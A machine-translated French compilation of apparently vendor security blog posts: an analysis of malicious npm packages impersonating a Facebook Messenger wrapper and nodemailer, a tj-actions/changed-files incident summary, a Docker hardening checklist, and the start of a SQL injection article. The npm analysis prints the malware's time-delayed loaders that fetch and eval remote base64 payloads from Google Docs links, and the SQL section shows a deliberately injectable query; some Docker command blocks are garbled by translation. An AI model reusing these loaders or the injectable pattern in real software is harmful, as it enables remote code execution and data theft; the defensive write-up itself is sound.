Maintenant, ce que fait ce code est beaucoup plus clair. Dans le constructeur, il s'agit de la fonction reportErr
sans message d'erreur. La fonction est obfusquée et contient les parties nécessaires à l'importation de axios
, de faire une demande d'obtention, puis d'appeler eval()
sur les données renvoyées. La bibliothèque vous aide donc, d'une certaine manière, avec la journalisation. Mais elle est peut-être un peu trop utile, en ce sens qu'elle exécute également un code inattendu au moment de l'exécution lorsque la fonction Enregistreur
est instanciée.
🛡️ Conseils de défense
Pour se défendre contre de tels paquets :
- Toujours vérifier les crochets du cycle de vie en
package.json
. Ils constituent un vecteur d'attaque courant. - Vérifier le nom du repo par rapport à celui du paquet - des différences de nom subtiles sont souvent synonymes de problèmes.
- Méfiez-vous de l'obscurcissement, du code minifié ou des blobs base64 à l'intérieur de petits paquets.
- Utilisez des outils tels que Aikdio Intel pour identifier les paquets douteux.
- Geler les dépendances de production à l'aide de fichiers de verrouillage (
package-lock.json
). - Utilisez un miroir de registre privé ou un pare-feu de paquets (par exemple Artifactory, Snyk Broker) pour contrôler ce qui entre dans votre chaîne d'approvisionnement.

Se cacher et échouer : Logiciels malveillants obscurcis, charges utiles vides et manigances npm
Le 14 mars 2025, nous avons détecté un paquet malveillant sur npm appelé node-facebook-messenger-api
. Au début, il semblait s'agir d'un logiciel malveillant assez banal, mais nous ne pouvions pas dire quel était l'objectif final. Nous n'y avons plus pensé jusqu'au 3 avril 2025, date à laquelle nous avons vu le même acteur de la menace étendre son attaque. Voici un bref aperçu des techniques utilisées par cet attaquant spécifique, et quelques observations amusantes sur la façon dont leurs tentatives d'obscurcissement aboutissent en fait à les rendre encore plus évidentes.
TLDR
node-facebook-messenger-api@4.1.0
déguisé en une enveloppe de messagerie Facebook légitime.axios
et eval()
pour extraire une charge utile d'un lien Google Docs - mais le fichier était vide.zx
pour éviter d'être détectés, en intégrant une logique malveillante qui se déclenche plusieurs jours après la publication.node-smtp-mailer@6.10.0
, usurpation d'identité nodemailer
avec la même logique C2 et le même obscurcissement.hyper-types
), révélant une modèle de signature de faire le lien avec les attentats.
Premiers pas
Tout a commencé le 14 mars à 04:37 UTC, lorsque nos systèmes nous ont alertés sur un paquet suspect. Il a été publié par l'utilisateur victor.ben0825
qui prétend également porter le nom de perusworld
. Il s'agit du nom d'utilisateur de l'utilisateur qui possède le fichier dépôt légitime pour cette bibliothèque.

Voici le code qu'il a détecté comme étant malveillant dans node-facebook-messenger-api@4.1.0 :
dans le fichier messenger.js
, ligne 157-177 :
const axios = require('axios');
const url = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2';
async function downloadFile(url) {
try {
const response = await axios.get(url, {
responseType: 'arraybuffer'
});
const fileBuffer = Buffer.from(response.data);
eval(Buffer.from(fileBuffer.toString('utf8'), 'base64').toString('utf8'))
return fileBuffer;
} catch (error) {
console.error('Download failed:', error.message);
}
}
downloadFile(url);
L'attaquant a essayé de cacher ce code dans un fichier de 769 lignes, ce qui est une grande classe. Ici, il a ajouté une fonction et l'appelle directement. Très mignon, mais aussi très évident. Nous avons tenté de récupérer la charge utile, mais elle était vide. Nous l'avons signalé comme un logiciel malveillant et nous sommes passés à autre chose.
Quelques minutes plus tard, l'attaquant a poussé une autre version, 4.1.1. Le seul changement semble se situer au niveau de l'élément README.md
et package.json
où ils ont modifié la version, la description et les instructions d'installation. Étant donné que nous considérons l'auteur comme un mauvais auteur, les paquets à partir de ce moment ont été automatiquement signalés comme des logiciels malveillants.
Essayer d'être sournois
Puis, le 20 mars 2025 à 16:29 UTC, notre système a automatiquement signalé la version 4.1.2
du paquet. Voyons ce qu'il y a de nouveau. Le premier changement se trouve dans node-facebook-messenger-api.js,
qui contient
"use strict";
module.exports = {
messenger: function () {
return require('./messenger');
},
accountlinkHandler: function () {
return require('./account-link-handler');
},
webhookHandler: function () {
return require('./webhook-handler');
}
};
var messengerapi = require('./messenger');
La modification apportée à ce fichier est la dernière ligne. Il ne s'agit pas seulement d'importer le messenger.js
lorsque cela est demandé, c'est toujours fait lorsque le module est importé. C'est astucieux ! L'autre changement concerne ce fichier, messenger.js.
Il a supprimé le code ajouté précédemment et a ajouté ce qui suit aux lignes 197 à 219 :
const timePublish = "2025-03-24 23:59:25";
const now = new Date();
const pbTime = new Date(timePublish);
const delay = pbTime - now;
if (delay <= 0) {
async function setProfile(ft) {
try {
const mod = await import('zx');
mod.$.verbose = false;
const res = await mod.fetch(ft, {redirect: 'follow'});
const fileBuffer = await res.arrayBuffer();
const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
const nfu = new Function("rqr", data);
nfu(require)();
} catch (error) {
//console.error('err:', error.message);
}
}
const gd = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2';
setProfile(gd);
}
Voici un aperçu de ce qu'il fait :
- Il utilise un contrôle temporel pour déterminer s'il faut activer le code malveillant. Il ne s'active qu'environ 4 jours plus tard.
- Au lieu d'utiliser
axios
Il utilise désormais Googlezx
pour récupérer la charge utile malveillante. - Il désactive le mode verbeux, qui est également le mode par défaut.
- Il récupère ensuite le code malveillant
- Il le décode en base64
- Il crée une nouvelle fonction à l'aide de la fonction
Fonction()
qui est en fait équivalent à un constructeureval()
appel. - Il appelle ensuite la fonction, en lui transmettant
exiger
comme argument.
Mais là encore, lorsque nous essayons de récupérer le fichier, nous n'obtenons pas de charge utile. Nous obtenons simplement un fichier vide appelé info.txt.
L'utilisation de zx
est curieux. Nous avons regardé les dépendances, et nous avons remarqué que le paquet original contenait quelques dépendances :
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"merge": "^2.1.1",
"request": "^2.81.0"
}
Le paquet malveillant contient les éléments suivants :
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"hyper-types": "^0.0.2",
"merge": "^2.1.1",
"request": "^2.81.0"
}
Regardez, ils ont ajouté les hyper-types de dépendance. Très intéressant, nous y reviendrons à plusieurs reprises.
Ils frappent encore !
Puis le 3 avril 2025 à 06:46, un nouveau paquet a été publié par l'utilisateur cristr.
Ils ont publié lee paquet
node-smtp-mailer@6.10.0.
Nos systèmes l'ont automatiquement signalé parce qu'il contenait un code potentiellement malveillant. Nous l'avons regardé et nous avons été un peu excités. Le paquet prétend être nodemailer,
mais avec un nom différent.

Notre système a signalé le fichier lib/smtp-pool/index.js.
Nous constatons rapidement que l'attaquant a ajouté du code au bas du fichier légitime, juste avant la dernière ligne de commande. module.exports
. Voici ce qui est ajouté :
const timePublish = "2025-04-07 15:30:00";
const now = new Date();
const pbTime = new Date(timePublish);
const delay = pbTime - now;
if (delay <= 0) {
async function SMTPConfig(conf) {
try {
const mod = await import('zx');
mod.$.verbose = false;
const res = await mod.fetch(conf, {redirect: 'follow'});
const fileBuffer = await res.arrayBuffer();
const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
const nfu = new Function("rqr", data);
nfu(require)();
} catch (error) {
console.error('err:', error.message);
}
}
const url = 'https://docs.google.com/uc?export=download&id=1KPsdHmVwsL9_0Z3TzAkPXT7WCF5SGhVR';
SMTPConfig(url);
}
Nous connaissons ce code ! Il est à nouveau horodaté pour ne s'exécuter que 4 jours plus tard. Nous avons essayé avec enthousiasme de récupérer la charge utile, mais nous n'avons reçu qu'un fichier vide appelé débutant.txt.
Booo ! Nous regardons à nouveau les dépendances, pour voir comment elles sont prises en compte zx
. Nous avons noté que la légitime nodemailer
Le paquet a non direct dépendances
, seulement devDependencies
. Mais voici ce que contient le paquet malveillant :
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"hyper-types": "^0.0.2",
"merge": "^2.1.1",
"request": "^2.81.0"
}
Voyez-vous une similitude entre ce paquet et le premier paquet que nous avons détecté ? Il s'agit de la même liste de dépendances. Le paquet légitime n'a pas de dépendances, mais le paquet malveillant en a. L'attaquant a simplement copié la liste complète des dépendances de la première attaque dans celle-ci.
Dépendances intéressantes
Alors pourquoi ont-ils abandonné l'utilisation de axios
à zx
pour l'élaboration HTTP
demandes ? Certainement pour éviter d'être détecté. Mais ce qui est intéressant, c'est que zx
n'est pas une dépendance directe. Au lieu de cela, l'attaquant a inclus hyper-types, qui est un paquetage légitime du développeur lukasbach.

Outre le fait que le dépôt référencé n'existe plus, il y a quelque chose d'intéressant à noter ici. Voyez comment il y a 2 personnes à charge
? Devinez de qui il s'agit.

Si l'attaquant avait réellement voulu essayer de dissimuler son activité, il est assez stupide de dépendre d'un paquet dont il est le seul dépendant.
Derniers mots
Bien que l'attaquant à l'origine de ces paquets npm n'ait finalement pas réussi à livrer une charge utile fonctionnelle, sa campagne met en évidence l'évolution constante des menaces de la chaîne d'approvisionnement ciblant l'écosystème JavaScript. Le recours à l'exécution différée, aux importations indirectes et au détournement de dépendances témoigne d'une prise de conscience croissante des mécanismes de détection et d'une volonté d'expérimentation. Mais cela montre également que la sécurité opérationnelle négligée et les schémas répétitifs peuvent encore les trahir. Pour les défenseurs, il s'agit d'un rappel que même les attaques ratées constituent des renseignements précieux. Chaque artefact, chaque astuce d'obscurcissement et chaque dépendance réutilisée nous aide à développer de meilleures capacités de détection et d'attribution. Et surtout, cela renforce la raison pour laquelle la surveillance continue et le signalement automatisé des registres de paquets publics ne sont plus facultatifs, mais essentiels.

Obtenez le TL;DR : tj-actions/changed-files Attaque de la chaîne d'approvisionnement
Entrons dans l'attaque de la chaîne d'approvisionnement de tj-actions/changed-files. Lisez la suite pour savoir ce qu'il faut faire, ce qui s'est passé et plus d'informations.
TL;DR
- Le tj-actions/changed-files
GitHub Action, qui est actuellement utilisé dans plus de 23 000 dépôts, a été compromis, laissant échapper des secrets par le biais de journaux de flux de travail et ayant un impact sur des milliers de pipelines de CI.
- Toutes les versions étiquetées ont été modifiées, ce qui rend l'épinglage basé sur les étiquettes peu sûr. Les dépôts publics sont les plus exposés, mais les dépôts privés devraient également vérifier leur exposition.
- Les mesures immédiates consistent à identifier les flux de travail concernés, à supprimer toutes les références à l'action compromise, à assurer la rotation des secrets et à vérifier les journaux pour y déceler toute activité suspecte.
Réponse d'Aikido : Nous avons publié une nouvelle règle SAST qui signale toute utilisation avec une sévérité critique (Score 100). Aikido peut automatiquement épingler vos actions Github pour éviter ce type d'exploit à l'avenir.
Tout d'abord, que faire ?
Vérifiez si vous êtes concerné par la j-actions/changed-files
attaque de la chaîne d'approvisionnement :
A) Rechercher tj-actions
dans votre base de données
B) Utilisez cette requête Github pour trouver des références à l'action GitHub concernée dans les dépôts de votre organisation (remplacez [votre-org] par le nom de votre organisation).
Cessez d'utiliser tj-actions/changed-files
dès que possible et supprimez toutes les références à l'action compromise.
Faites tourner les secrets des pipelines concernés et vérifiez les journaux de vos services (tiers) pour détecter toute utilisation suspecte des jetons exposés ; concentrez-vous d'abord sur les dépôts dont les journaux d'exécution de CI sont accessibles au public.
Passons à l'attaque : Que s'est-il passé ?
Un incident de sécurité impliquant le tj-actions/changed-files
L'action GitHub a été identifiée à la mi-mars 2025. Les attaquants ont introduit un code malveillant qui expose les secrets CI/CD via les journaux de flux de travail. D'abord rapporté par Step Security, l'incident a été assigné à CVE-2025-30066.
Bien qu'il y ait un manque de clarté sur ce qui s'est passé et comment le code a été poussé, la plupart des rapports indiquent que l'attaquant a compromis un jeton d'accès personnel GitHub (PAT) lié au compte tj-actions-bot, ce qui a permis à l'attaquant d'apporter des modifications non autorisées, d'injecter du code malveillant et de manipuler les balises de version.
Chronologie des événements :
Avant le 14 mars 2025 : Le code malveillant a commencé à avoir un impact sur les dépôts affectés, provoquant des fuites de secrets dans les journaux publics.
14 mars 2025 : Des chercheurs en sécurité identifient la compromission et sensibilisent l'opinion publique.
15 mars 2025 : Le script malveillant hébergé sur GitHub Gist a été supprimé. Le dépôt compromis a été brièvement mis hors ligne pour annuler les modifications malveillantes, puis restauré sans les modifications nuisibles.
15 mars 2025 : Le repo est de nouveau en ligne avec une déclaration sur l'attaque ; le mainteneur a également commenté l'attaque.
Bien que la menace immédiate ait été résolue, les versions en cache de l'action compromise peuvent encore présenter un risque. Il est nécessaire de prendre des mesures d'atténuation proactives pour sécuriser les informations d'identification sensibles.
Quel est l'impact de l'attaque tj-actions/changed-files ?
Dépôts utilisant des tj-actions/changed-files
Les entreprises, en particulier les entreprises publiques, risquent de divulguer les secrets utilisés dans leurs pipelines. Ces secrets ont été révélés dans les journaux de flux de travail par le code malveillant de l'acteur de la menace. Bien qu'aucune exfiltration de données externes n'ait été confirmée, des acteurs malveillants ont pu accéder aux journaux des dépôts publics. Les dépôts privés sont moins concernés, mais ils doivent néanmoins évaluer leur exposition et remplacer les secrets s'ils sont touchés.
Dépôts publics : Risque élevé en raison de l'exposition publique de journaux de flux de travail contenant des secrets.
Dépôts privés : Risque plus faible, mais le fait que des secrets actifs soient exposés dans vos journaux de flux de travail constitue toujours un risque important.
Utilisateurs d'actions mises en cache : Les flux de travail qui ont mis en cache l'action compromise peuvent continuer à présenter un risque jusqu'à ce que les caches soient purgés.
Comment l'aïkido peut-il aider ?
Nous avons publié un nouvelle règle SAST qui signale tout tj-actions/changed-files
utilisation avec gravité critique (Score 100). Si vous utilisez déjà Aikido, vous êtes couvert. Si vous n'avez pas de compte Aikido, vous pouvez vous connecter et scanner votre installation en quelques secondes.
Au-delà de cette attaque, Aikido épingle automatiquement vos actions Github afin d'éviter ce genre d'exploit à l'avenir.
Et notre flux propriétaire de menaces de logiciels malveillants - Aikido Intel - détecte les logiciels malveillants dans les 3 minutes suivant leur publication sur npm, pypi, et sera bientôt étendu aux actions Github.
Nous facilitons l'accès à votre chaîne d'approvisionnement en logiciels et vous avertissons au plus tôt des nouveaux risques et des nouvelles attaques.
En savoir plus sur l'attaque :
- Une analyse de "Comprendre et recréer l'attaque de la chaîne d'approvisionnement tj-actions/changed-files" par James Berthoty, analyste chez Latio. James vous montre également comment recréer l'attaque dans votre propre environnement pour tester votre capteur (attention).
- Step Security, qui a été le premier à signaler l'attaque, a publié une analyse de l'enquête, "Harden-Runner detection : tj-actions/changed-files action is compromised" (Détection Harden-Runner : l'action tj-actions/changed-files est compromise)
- Voir CVE-2023-51664

Une liste de contrôle de sécurité Docker pour les développeurs soucieux des vulnérabilités
Pourquoi êtes-vous ici ?
Vous voulez connaître la vraie réponse à deux questions sur la sécurité de Docker :
Docker est-il sûr pour une utilisation en production ?
Ouiet non. Docker utilise un modèle de sécurité qui repose sur les espaces de noms et l'isolation des ressources, ce qui rend les processus à l'intérieur plus sûrs contre les attaques spécifiques que l'exécution de vos applications directement à partir d'une VM cloud ou d'un système bare metal.Malgré cette couche, il existe encore de nombreux moyens pour les attaquants d'accéder à votre conteneur, ce qui leur permet de lire des informations confidentielles, d'exécuter des attaques par déni de service (DoS) ou même d'obtenir un accès racine au système hôte.
Comment puis-je améliorer ma sécurité Docker (d'une manière pas trop douloureuse) ?
Nousallons vous présenter les vulnérabilités les plus courantes et les plus graves de Docker, en passant outre les recommandations de base que vous trouverez partout sur Google, comme l'utilisation d'images officielles et la mise à jour de votre hôte.Au lieu de cela, nous vous conduirons directement vers les nouvelles options de Docker et les lignes de Dockerfile qui rendront votre nouveau déploiement de conteneurs Docker par défaut beaucoup plus sûr que jamais.

La liste de contrôle de sécurité de Docker (no-BS)
Rendre les systèmes de fichiers du conteneur accessibles en lecture seule
Que gagnez-vous ?
Vous empêchez un pirate de modifier l'environnement d'exécution de votre conteneur Docker, ce qui pourrait lui permettre de recueillir des informations utiles sur votre infrastructure, de collecter des données utilisateur ou de mener directement une attaque DOS ou par ransomware.
Comment le régler ?
Vous avez deux options, soit au moment de l'exécution, soit dans votre configuration Docker Compose.
Au moment de l'exécution : docker run --read-only votre-app:v1.0.1
Dans votre fichier Docker Compose :
services :
webapp :
image : your-app:v1.0.1read_only : true
...
Escalade des privilèges de verrouillage
Que gagnez-vous ?
Vous empêchez votre conteneur Docker - ou un attaquant qui s'amuse à l'intérieur dudit conteneur - d'activer de nouveaux privilèges, même au niveau racine, avec setuid ou setgid. Avec un accès plus permissif à votre conteneur, un attaquant pourrait accéder à des informations d'identification sous la forme de mots de passe ou de clés pour des parties connectées de votre déploiement, comme une base de données.
Comment le régler ?
Encore une fois, au moment de l'exécution ou dans votre configuration Docker Compose.
Au moment de l'exécution : docker run --security-opt=no-new-privileges your-app:v1.0.1
Dans votre fichier Docker Compose :
les services :
webapp :
image : your-app:v1.0.1
security_opt:
- no-new-privileges:true
...
Isolez vos réseaux de conteneurs à conteneurs
Que gagnez-vous ?
Par défaut, Docker laisse tous les conteneurs communiquer via le réseau docker0, ce qui peut permettre à un attaquant de se déplacer latéralement d'un conteneur compromis à un autre. Si vous avez des services discrets A
et B
dans des conteneurs Y
et Z
Si les deux parties n'ont pas besoin de communiquer directement, l'isolation de leurs réseaux offre la même expérience à l'utilisateur final tout en empêchant les mouvements latéraux pour une meilleure sécurité de Docker.
Comment le régler ?
Vous pouvez spécifier les réseaux Docker au moment de l'exécution ou dans votre configuration Docker Compose. Cependant, vous devez d'abord créer le réseau :
docker network create your-isolated-network
Au moment de l'exécution, ajoutez l'élément --option réseau
n : docker run --network your-isolated-network your-app:v1.0.1
Ou l'option équivalente dans votre fichier Docker Compose :
les services :
webapp :
image : your-app:v1.0.1
networks:
- votre-réseau-isolé
...
Définir un utilisateur non-root approprié
Que gagnez-vous ?
L'utilisateur par défaut dans un conteneur est racine
avec un uid de 0
. En spécifiant un utilisateur distinct, vous empêchez un attaquant d'escalader ses privilèges vers un autre utilisateur qui peut agir sans restriction, comme root, ce qui annulerait toutes les autres mesures de sécurité Docker que vous avez travaillé dur pour mettre en œuvre.
Comment le régler ?
Créez votre utilisateur au cours du processus de construction ou d'exécution. Lors de l'exécution, vous pouvez soit créer l'utilisateur pour la première fois, soit remplacer la fonction UTILISATEUR
que vous avez déjà défini lors de la construction.
Pendant le processus de construction, dans votre Fichier Docker
:
...
RUN groupadd -r votre-utilisateur
RUN useradd -r -g votre-utilisateur votre-utilisateur
USER mon utilisateur
...
Au moment de l'exécution : docker run -u votre-utilisateur votre-app:v1.0.1
Abandonner les capacités du noyau Linux
Que gagnez-vous ?
Par défaut, les conteneurs Docker sont autorisés à utiliser un ensemble restreint de fonctionnalités du noyau Linux. On pourrait penser que les gens de Docker ont créé cet ensemble restreint pour qu'il soit complètement sécurisé, mais de nombreuses capacités existent pour des raisons de compatibilité et de simplicité. Par exemple, les conteneurs par défaut peuvent arbitrairement changer la propriété des fichiers, modifier leur répertoire racine, manipuler les UID des processus et lire les sockets. En abandonnant tout ou partie de ces capacités, vous minimisez le nombre de vecteurs d'attaque.
Comment le régler ?
Vous pouvez supprimer des capacités et en définir de nouvelles au moment de l'exécution. Par exemple, vous pouvez supprimer toutes les capacités du noyau et n'autoriser votre conteneur qu'à modifier la propriété des fichiers existants.
docker run --cap-drop ALL --cap-add CHOWN your-app:v1.0.1
Ou pour Docker Compose :
services :
webapp :
image : your-app:v1.0.1
cap_drop:
- ALL
cap_add:
- CHOWN
...
Prévenir les bombes à fourchette
Que gagnez-vous ?
Les bombes à fourche sont un type d'attaque DoS qui réplique à l'infini un processus existant. Tout d'abord, ils réduisent les performances et limitent les ressources, ce qui augmente inévitablement les coûts et peut finalement faire planter vos conteneurs ou le système hôte. Une fois qu'une bombe à fourche a démarré, il n'y a pas d'autre moyen de l'arrêter que de redémarrer le conteneur ou le système hôte.
Comment le régler ?
Au moment de l'exécution, vous pouvez limiter le nombre de processus (PID) que votre conteneur peut créer.
docker run --pids-limit 99 votre-app:v1.0.1
Ou avec Docker Compose :
services :
webapp :
image : your-app:v1.0.1
deploy
limites:
pids : 99
Améliorez la sécurité de Docker en surveillant vos dépendances open source
Que gagnez-vous ?
Les applications que vous avez conteneurisées pour les déployer avec Docker ont probablement une large arborescence de dépendances.
Comment le régler ?
Le moyen le plus "non-BS" est l'analyse des dépendances open-source d'Aikido. Notre surveillance continue analyse les projets écrits dans plus d'une douzaine de langues en se basant sur la présence de lockfiles dans votre application et fournit une vue d'ensemble instantanée des vulnérabilités et des logiciels malveillants. Grâce au triage automatique qui filtre les faux positifs, Aikido vous donne des conseils de remédiation que vous pouvez commencer à appliquer immédiatement... et pas seulement après avoir lu une douzaine d'autres documents de référence et de problèmes GitHub.
Chez Aikido, nous aimons les projets open-source bien établis comme Trivy, Syft et Grype. Nous savons aussi par expérience que les utiliser de manière isolée n'est pas une expérience particulièrement agréable pour les développeurs. Sous le capot, Aikido améliore ces projets avec des règles personnalisées pour combler les lacunes et révéler les failles de sécurité que vous n'auriez pas pu trouver autrement. Contrairement à l'enchaînement de divers outils open-source, Aikido vous évite d'avoir à construire un script d'analyse ou à créer un travail personnalisé dans votre CI/CD.

Utiliser uniquement des images de confiance pour la sécurité de Docker
Que gagnez-vous ?
Docker Content Trust (DCT) est un système de signature et de validation du contenu et de l'intégrité des images officielles que vous tirez des registres Docker comme Docker Hub. Le fait de n'extraire que des images signées par l'auteur vous donne l'assurance qu'elles n'ont pas été modifiées pour créer des vulnérabilités dans votre déploiement.
Comment le régler ?
La méthode la plus simple consiste à définir la variable d'environnement dans votre shell, ce qui vous empêche, ainsi que toute autre personne, de travailler avec des images non fiables.
exportDOCKER_CONTENT_TRUST=1
docker run ...
Vous pouvez également définir la variable d'environnement à chaque fois que vous exécutez Docker :
DOCKER_CONTENT_TRUST=1 docker run ...
Mise à jour des durées d'exécution en fin de vie (EOL)
Que gagnez-vous ?
Une recommandation courante pour la sécurité des conteneurs Docker est d'épingler les images et les dépendances à une version spécifique au lieu de les épingler à une version spécifique. le plus récent
. En théorie, cela vous empêche d'utiliser à votre insu de nouvelles images, même celles qui ont été falsifiées, qui introduisent de nouvelles vulnérabilités.
Comment le régler ?
Vous disposez de quelques projets open-source pour vous aider à découvrir les dates de fin de vie et à vous préparer au mieux. Le projet endoflife.date(dépôt GitHub) suit plus de 300 produits en regroupant des données provenant de sources multiples et en les mettant à disposition via une API publique. Quelques options s'offrent à vous avec endoflife.date et d'autres projets similaires :
- Vérifier manuellement le projet pour les mises à jour des dépendances sur lesquelles vos applications s'appuient et créer des tickets ou des problèmes pour les mises à jour nécessaires.
- Écrire un script (Bash, Python, etc.) pour obtenir les dates de fin de vie des dépendances à partir de l'API et l'exécuter régulièrement, comme une tâche cron.
- Incorporez l'API publique, ou ce script personnalisé, dans votre plateforme CI pour faire échouer les constructions qui utilisent un projet dont la fin de vie est proche ou atteinte.
En tant que développeur, nous comprenons que votre temps est précieux et souvent limité. C'est là qu'Aikido peut vous apporter un sentiment de sécurité - notre fonction d'analyse EOL suit votre code et vos conteneurs, en priorisant les runtimes ayant le plus d'impact et d'exposition, comme Node.js ou un serveur web Nginx. Comme d'habitude, nous ne nous contentons pas d'automatiser la collecte d'informations, mais nous émettons des alertes d'une sévérité appropriée pour vous informer et non vous submerger.

Limiter l'utilisation des ressources du conteneur
Que gagnez-vous ?
Par défaut, les conteneurs n'ont pas de contraintes de ressources et utilisent autant de mémoire ou de CPU que le planificateur de l'hôte. Limiter l 'utilisation des ressources d'un conteneur spécifique peut minimiser l'impact d'une attaque par déni de service. Au lieu de faire planter votre conteneur ou votre système hôte en raison d'une exception de mémoire insuffisante, l'attaque DoS en cours n'aura qu'un impact négatif sur l'expérience de l'utilisateur final.
Comment le régler ?
Au moment de l'exécution, vous pouvez utiliser la fonction --Mémoire
et --cpus
pour définir les limites d'utilisation de la mémoire et du processeur, respectivement. L'option memory prend des nombres avec g pour gigaoctets et m pour mégaoctets, tandis que l'option CPU reflète la limite des CPU dédiés disponibles pour le conteneur et ses processus.
docker run --memory="1g" --cpus="2" votre-app:v1.0.1
Cela fonctionne également avec Docker Compose :
services :
webapp :
image : your-app:v1.0.1
deploy:
limites :
cpus : '2'
memory: 1G
...
Votre dernière commande et les options de Compose pour la sécurité de Docker
Vous avez maintenant vu un certain nombre de conseils de sécurité Docker et les options CLI pertinentes ou la configuration qui les accompagne, ce qui signifie que vous êtes soit très enthousiaste à l'idée de les mettre en œuvre, soit submergé par la façon de les assembler. Ci-dessous, nous avons regroupé toutes les recommandations en une seule commande ou un seul modèle de configuration, ce qui vous aidera à déployer des conteneurs Docker plus sûrs dès maintenant.
Il est évident que vous voudrez modifier certaines options, comme le nom de l'utilisateur non root, les capacités du noyau, les limites de ressources, en fonction des besoins de votre application.
exportDOCKER_CONTENT_TRUST=1
docker run \N--Lire la suite
--read-only (lecture seule) \N--Security-opt=no-new-privileges (sécurité)
--security-opt=no-new-privileges\N--Configuration du réseau\N--Configuration du réseau \N--Sécurité
--network your-isolated-network \N--cap-drop ALL
--cap-drop ALL
--cap-add CHOWN \N- --pids-limit 99
--pids-limit 99 \N
--memory="1g" --cpus="2" \N-user=votre-utilisateur \N--cap-drop ALL
--user=votre-utilisateur \N
... # LES AUTRES OPTIONS VONT ICI
votre-app:v1.0.1
Vous pouvez même créer un alias drun avec l'interpréteur de commandes de votre hôte que vous pouvez invoquer sans avoir à vous souvenir de tous ces détails.
function drun {
docker run \N
--read-only (lecture seule) \N-security-opt=no-new-privileges (sécurité)
--security-opt=no-new-privileges\N--concernant le réseau de votre réseau isolé\N
--network your-isolated-network \N--cap-drop ALL
--cap-drop ALL
--cap-add CHOWN \N- --pids-limit 99
--pids-limit 99 \N
--memory="1g" --cpus="2" \N-user=votre-utilisateur \N--cap-drop ALL
--user=votre-utilisateur \N
$1 \
$2
}
Ensuite, lancez votre alias comme suit, avec vos options et le nom de l'image : drun -it your-app:v1.0.1
Si vous êtes un adepte de Docker Compose, vous pouvez adapter toutes les mêmes options dans un nouveau modèle de base de Docker Compose à partir duquel vous pourrez travailler à l'avenir :
services :
webapp :
image : your-app:v1.0.1
read_only: true
security_opt:
- no-new-privileges:true
networks:
- votre-réseau-isolé
cap_drop:
- ALL
cap_add:
- CHOWN
deploy:
limits :
pids : 9
cpus: '2'
memory: 1G
... # D'AUTRES OPTIONS VONT ICI
Bonus : Exécuter Docker avec des conteneurs sans racine
Lorsque vous installez Docker sur un système, son démon fonctionne avec des privilèges de niveau racine. Même si vous activez toutes les options ci-dessus et que vous empêchez l'escalade des privilèges au sein d' un conteneur Docker, le reste de l'exécution du conteneur sur votre système hôte dispose toujours des privilèges root. Cela élargit inévitablement votre surface d'attaque.
La solution réside dans les conteneurs sans racine, qu'un utilisateur non privilégié peut créer et gérer. L'absence de privilèges root signifie beaucoup moins de problèmes de sécurité pour votre système hôte.
Nous aimerions pouvoir vous aider à utiliser des conteneurs sans racine avec une seule option ou commande, mais ce n'est pas si simple. Vous trouverez des instructions détaillées sur le site web Rootless Containers, y compris un guide pratique pour Docker.
Quelle est la prochaine étape pour votre sécurité Docker ?
Si vous avez appris quelque chose de cette expérience, c'est que la sécurité des conteneurs est une opération de longue haleine. Il y a toujours plus de checklists de renforcement et d'articles de fond à lire sur le verrouillage de vos conteneurs dans Docker ou son cousin plus ancien et souvent mal compris, Kubernetes. Vous ne pouvez pas viser une sécurité des conteneurs sans faille - créer du temps dans votre calendrier de développement chargé pour aborder la sécurité, puis apporter des améliorations incrémentales basées sur l'impact et la gravité, vous permettra d'aller loin au fil du temps.
Pour vous aider à maximiser ce processus continu et à prioriser les correctifs qui amélioreront de manière significative la sécurité de vos applications, il y a Aikido. Nous venons de lever une série A de 17 millions de dollars pour notre plateforme de sécurité pour développeurs "no BS", et nous serions ravis que vous nous rejoigniez.

Détection et blocage des attaques par injection SQL JavaScript
Pourquoi êtes-vous ici ?
Vous avez déjà entendu parler des attaques par injection SQL de JavaScript, mais vous ne savez pas exactement à quoi elles ressemblent dans la nature ni si vous devez vous en préoccuper. Vous essayez peut-être de comprendre à quel point cela peut être grave.
En bref, si vous créez des applications utilisant des bases de données SQL, telles que MySQL et PostgreSQL, vous courez un risque : vous n'êtes pas à l'abri des méthodes d'attaque qui touchent les développeurs et leurs bases de données depuis des dizaines d'années. En tant que développeur, il vous incombe de mettre en place des garde-fous qui protègent les données des utilisateurs et garantissent que votre infrastructure sous-jacente ne fait jamais l'objet d'une intrusion, d'une exploration ou d'une réquisition.
Tous les nouveaux outils prétendent vous aider, mais ils ne font que rendre le développement plus complexe.
Vous pouvez ajouter un mappeur objet-relationnel (ORM) comme Sequelize et TypeORM pour simplifier la façon dont vous travaillez avec des bases de données SQL comme MySQL et PostgreSQL, mais ils ne vous exonèrent pas complètement du risque. Les pare-feu pour applications web (WAF) vous aident à bloquer les attaques au niveau du réseau, mais ils nécessitent une infrastructure coûteuse et une maintenance constante. Les scanners de code peuvent vous aider à identifier les failles évidentes, mais ils sont beaucoup moins efficaces pour les inconnues et les techniques de type "zero-day" qui se cachent.
Nous vous présenterons une image claire de ce à quoi ressemblent les attaques par injection SQL, du risque qu'elles comportent et des erreurs de développement qui les rendent possibles. Ensuite, nous vous accompagnerons dans l'installation d'un correctif global afin que vous sachiez, avec certitude, que vos applications sont sûres.
Attaques par injection SQL : exemples et implications
La définition la plus élémentaire d'une attaque par injection SQL est qu'une application permet à une entrée utilisateur non validée et non nettoyée d'exécuter des requêtes de base de données, ce qui permet à un attaquant de lire la base de données SQL, de modifier des enregistrements ou de les supprimer à sa guise.
Comme d'habitude, XKCD illustre le danger de SQL mieux que la plupart des scénarios sombres que nous pourrions imaginer :

À quoi ressemble une application JavaScript vulnérable ?
Commençons par un exemple de pseudocode simple : une application JavaScript avec un élément d'entrée qui permet aux utilisateurs de faire une recherche dans une base de données de chats. Dans l'exemple de code JavaScript ci-dessous, l'application répond aux requêtes POST sur le chemin /cats pour extraire l'entrée de l'utilisateur du corps de la requête et se connecte à la base de données avec une requête pour retourner tous les chats avec un identifiant correspondant. L'application affiche ensuite le chat à l'aide de la réponse JSON.
app.post("/cats", (request, response) => {
const query = `SELECT * FROM cats WHERE id = ${request.body.id}`;
